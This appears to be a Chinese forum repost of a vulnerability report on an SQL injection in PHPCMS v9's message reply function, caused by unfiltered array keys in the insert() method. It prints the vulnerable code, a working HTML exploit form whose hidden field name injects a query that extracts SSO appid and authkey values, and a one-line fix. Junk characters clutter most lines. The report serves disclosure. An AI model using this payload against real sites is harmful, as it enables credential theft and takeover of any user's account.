|
简要描述:
# h7 n! n6 b- z3 O+ q' r. Y, k5 Z1 q2 u/ |$ \9 J% ?
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。0 h K* r' N, X
7 r8 M7 r, `9 ?明天再更新下一个漏洞。: q- F' ^9 T5 h( Q1 m( x
详细说明:
% a3 n" k9 v7 Y# D! W在/phpcms9/phpcms/modules/message/index.php中有代码如下:
/ w% r$ F! J' B. y- r) g0 f5 v3 F, ]3 H: ]7 t
$messageid = $this->message_db->insert($_POST['info'],true);
% u; W% v9 Y2 l+ U
* c, {' r) p- r
) @8 Z d1 n! I0 y# Rinsert方法是key value的,代码如下:
% |7 p9 P `; A5 M) C. s
7 o2 X3 ^9 ~# {# Q+ Tpublic function insert($data, $table, $return_insert_id = false, $replace = false) { p: y \' O8 K4 C+ w* C
if(!is_array( $data ) || $table == '' || count($data) == 0) {
$ r% z+ F6 q( h5 b: o7 O$ S return false;' ]' X( ?3 E3 t# N$ C- v! r
}9 p% d7 G4 N) i. X7 }, u
4 ]- S5 F9 b; d1 ` $fielddata = array_keys($data);% S6 E u0 |: [6 M
$valuedata = array_values($data);
- `" [! K8 h7 z! R9 O8 G array_walk($fielddata, array($this, 'add_special_char'));
0 @2 @) u2 A+ u array_walk($valuedata, array($this, 'escape_string'));2 ?1 d' w! k; n5 S+ j
' i& h: D7 M, j. Y5 g4 j $field = implode (',', $fielddata);
3 T6 _# x6 Z" y: ^( M $value = implode (',', $valuedata);" b- x& k& q7 `& F( A( k
4 n t" \3 H- ]9 l3 `$ p $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
& W$ I, l4 U G. ~5 y6 j5 ] $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';! h: c* O4 F Y5 z
$return = $this->execute($sql);
: B. r9 Q* O8 S7 ~ return $return_insert_id ? $this->insert_id() : $return;# Q n" m6 O9 A3 {8 y. j% U
}# j) k& s# w8 e8 x% a5 T, u7 I! L
' B$ M" @2 D8 }% C2 j9 M
8 b0 d3 }6 V* }* E( `/ D/ F
嗯,很遗憾的是- o3 _2 W$ Y2 _) Q$ h
: U$ K; U" ?/ ^6 k) ^$ E3 }$ B& uarray_walk($fielddata, array($this, 'add_special_char'));
/ [% M, \0 T' w1 E3 ^3 |" ~7 Z5 D9 O6 ?3 k, I' ^6 X
! h8 b: I# O) j& L) [& U v% A. q
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
o0 r( C( u# L0 X0 r
8 P# N4 ]8 _( s& f8 l: y- [: w到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
. g" o8 Z1 M% D. W" m
9 Z* A0 X) h. V7 ^漏洞证明:
9 i9 ^' {! i' V* V, Z! G4 d读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。5 {; |5 m, i$ B/ W1 S5 M
* z, T; o$ V1 O( i5 v. w
: y) ^/ o$ S r8 T
表单如下:用户名什么的得自己改一改。
" V8 Y* i: z V, X# ]6 J. C* C/ ^+ Z<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
& j- |: L1 e" x# X: c<table width="100%" cellspacing="0" class="table_form">
& q. A7 I6 z g! ]0 h<tr>0 W d- x" A' e# z0 Y! A) F$ H
<th>标 题:</th>; P# A& T1 C# b
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>
, `% O% }0 C# f3 r' D8 n, p5 D( @/ J</tr> % B1 f" q: }0 D
<tr>* M6 v5 y6 X! b# w' u" }/ W
<th>内 容:</th>9 l! Q% \5 X+ G5 _2 d
<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>; q( i2 u0 f8 c& V# ` F
</tr>8 K3 X2 c% X8 Q. f! T% P# u
<input type="hidden" name="info[replyid]" value="2" />
+ N* l2 _3 P$ _6 h7 {<input type="hidden" name="info[send_to_id]" value="cc" /> : g8 \% v) m, [6 J
<input type="hidden" name="info[send_from_id]" value="hh">: V/ H: v. _8 \9 D! Z6 o
<!-- 漏洞的利用重点在这里开始 -->
' ]. p/ j; l0 V# g<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> % ]+ m. j$ S5 s( D/ h5 A0 r2 u8 f4 e
<!-- 漏洞的利用重点在这里结束 -->
+ f% C3 v8 v4 T a<tr>0 P; H1 t0 O2 N, B5 u
<th>验证码:</th>
5 F0 f7 s' l5 t, H<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
/ D8 |. T9 F7 z6 k</tr>
0 c/ b7 q0 v9 | P& [<tr>6 p8 ]+ R% A2 D: t$ U) Z+ t, T3 g
<td></td>
" r7 [3 v6 D. ^$ j2 ~' |4 R( n<td colspan="2"><label>
) L4 T6 Y$ N. [" B<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
% t$ c5 r' E/ C+ J5 O# z# N4 W8 [+ G. G</label></td>
- c- v, Y* _" v1 ]</tr> h5 w& {, S1 `4 F
</table>! u7 }) q9 s: m P5 L
</form>% t' p" j! ~( ^5 y5 e2 i3 O
在add_special_char函数内对key做过滤就可以了。 n, M, T! \: q& Y$ N' {4 k' R
' E1 E7 M# d4 L' J' \
4 M1 X- d" J0 L
6 k* Y+ U0 @6 F' M
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|